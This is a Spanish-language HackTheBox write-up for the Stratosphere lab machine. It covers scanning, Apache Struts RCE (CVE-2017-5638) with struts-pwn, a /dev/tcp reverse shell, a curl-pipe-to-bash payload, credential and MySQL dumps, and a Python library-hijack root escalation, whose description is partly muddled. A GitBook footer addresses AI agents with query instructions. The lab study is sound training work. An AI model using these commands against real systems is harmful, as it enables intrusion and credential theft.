> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md).

# Análisis de Stratosphere HackTheBox

{% embed url="<https://app.hackthebox.com/machines/437>" %}

{% hint style="warning" %}
**Habilidades:**

* Explotación de Apache Struts (CVE-2017-5638)
* Secuestro de biblioteca de Python (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/e0d5f1992ecfcdf10b6bbf69e3afd7c33be0ced4" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/6e0a29c4fd40ea8de0b6f122ae48f6eaf81211bd" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts
```

<figure><img src="/files/132804e86271e3eec1e0c194a8aadc90e334d172" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con ExtractPorts (**&#x32;2.80.808&#x30;**)**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

<figure><img src="/files/03f8ce9897fb2395372bd028575ad620b145e333" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usando Nmap para escanear la versión de los puertos y extraer información en el archivo "targeted"

```bash
nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted
```

<figure><img src="/files/9d2be57d32cc1fad5105a346df90beebafc4f9b0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/52c644052ff93569699bb657133e5d70604326a0" alt=""><figcaption></figcaption></figure>

### /*/Exploración de servicios web (puertos 80 y 8080) //*

Los puertos 80 y 8080 alojan el mismo sitio web.

<figure><img src="/files/84f93fc34832a273b4a93cef201a7ef0a7caa5d1" alt=""><figcaption></figcaption></figure>

### Fuzzing con **Gobuster**

Lanzamos `Gobuster` para buscar directorios interesantes

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

{% endcode %}

Descubrimos las siguientes rutas:

* `/manager` - Interfaz Tomcat Manager
* `/monitoring` - Sección de monitoreo

<figure><img src="/files/89906f2ce2fabeadbeea79adbc7b0904cd431e90" alt=""><figcaption></figcaption></figure>

### Manager - Tomcat :

<figure><img src="/files/5bf01b9570883c6aff726cb07fd4aaf0f97249fc" alt=""><figcaption></figcaption></figure>

### Monitoreo:

<figure><img src="/files/a234bc22476bf481137f61929e8958f0354efcd7" alt=""><figcaption></figcaption></figure>

## Explotación de Apache Struts (CVE-2017-5638)

#### **Exploración del directorio de monitoreo**

Al intentar registrarnos, obtenemos un mensaje de error. También observamos una extensión `.action`, lo que potencialmente indica una aplicación basada en Apache Struts

<figure><img src="/files/ca9f7b1ad68a2aa6450cbc4aae41866aaad632c7" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Usamos `struts-pwn.py` para probar la ejecución remota de comandos:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

El comando funciona, confirmando la vulnerabilidad.

<figure><img src="/files/43d3cd992dc0bdb36cb0220517d739abf290f584" alt=""><figcaption></figcaption></figure>

#### **Shell inversa**

1. Escuchando con Netcat:

```bash
nc -nvlp 443
```

2. Creando un `index.html` archivo que contiene nuestra shell inversa:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Alojando el archivo con un servidor web de Python:

```
python3 -m http.server 8080
```

4. Ejecutar la shell inversa mediante el exploit:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Desafortunadamente, este enfoque falla.

### **Extracción de información sensible**

Listamos los archivos en el servidor:

<figure><img src="/files/2198c4e7591031c00ebba988952c64149ace81ec" alt=""><figcaption></figcaption></figure>

Descubrimos un `db_connect` archivo. Al mostrarlo, obtenemos credenciales:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/8a7cc8099970261bdf73db3c25dc2849b1026e91" alt=""><figcaption></figcaption></figure>

La información recuperada de las credenciales de mysql:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* usuario: ssn/\_admin / admin
* contraseña=AWs64\@on/\*& / admin

<figure><img src="/files/7bfdaf7a63041205b00f438c2501a6fcc6ba6d6d" alt=""><figcaption></figcaption></figure>

### Extracción de información - mysqlshow

#### **Enumeración de bases de datos**

Usamos `mysqlshow` para listar las bases de datos accesibles con el usuario `admin` explotando una vulnerabilidad de Struts mediante `struts-pwn.py`:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin"
```

{% endcode %}

<figure><img src="/files/9c52251cbb705ea046e6851649bab9b5db110633" alt=""><figcaption></figcaption></figure>

Esto nos permite identificar la base de datos **users**.

#### **Resumen de tablas**

Luego listamos las tablas de la base **users**:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users
```

{% endcode %}

<figure><img src="/files/6f35597fdeb04393dad1f397f94af4d2881bd385" alt=""><figcaption></figcaption></figure>

#### **Enumeración de columnas y extracción de credenciales**

Ahora listamos las columnas de la tabla **accounts** y tratamos de extraer su contenido

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts"
```

{% endcode %}

<figure><img src="/files/77d6cfd517c7f89ab402591979434b0428fd4188" alt=""><figcaption></figcaption></figure>

Obtenemos la siguiente información:

* **Nombre de usuario**: `richard`
* **Contraseña**: `9tc*rhKuG5TyXvUJOrE^5CK7k`

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users'
```

{% endcode %}

<figure><img src="/files/776b6f159795ca3b8405a471cd2b6825175eb039" alt=""><figcaption></figcaption></figure>

Usamos la información encontrada para conectarnos por SSH a la máquina objetivo:

```bash
ssh richard@10.10.10.64
```

<figure><img src="/files/d3839f0be8b97d15e03068cf74020db618742c05" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/996e707d15e2a4211239a1daac1ce1a4ffb395fa" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

### Escalada de privilegios mediante secuestro de biblioteca de Python

Primero, ejecuta el siguiente comando para listar los `sudo` permisos:

<figure><img src="/files/e44483ed8dd4468669b3b88f1e3da8077481bae0" alt=""><figcaption></figcaption></figure>

Observamos que tenemos permiso para ejecutar un script de Python como `root`:

```bash
(ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py
```

<figure><img src="/files/8bef97bf7a0c1aa0a0fa0814a7721904b4805953" alt=""><figcaption></figcaption></figure>

Al analizar el `/home/richard/test.py` script, se observa que importa un módulo sin especificar su ruta absoluta, por ejemplo:

```
import os
os.system("bash")
```

Luego ejecutamos el script como `root`:

```bash
sudo /usr/bin/python3.7 /home/richard/test.py
```

* Una vez que el script se inicia, nuestra versión maliciosa de `hashlib.py` se carga, ejecutando una shell con `root` privilegios.

<figure><img src="/files/5de0d9643ff348b59adfb95b338acfb4bd232b72" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/70a8f48a89486a3c2f500f7b06d75347a874cd7c" alt="" width="546"><figcaption></figcaption></figure>

<figure><img src="/files/d7c0f6123d85ad83f41efeb039388b90665f33d1" alt="" width="375"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
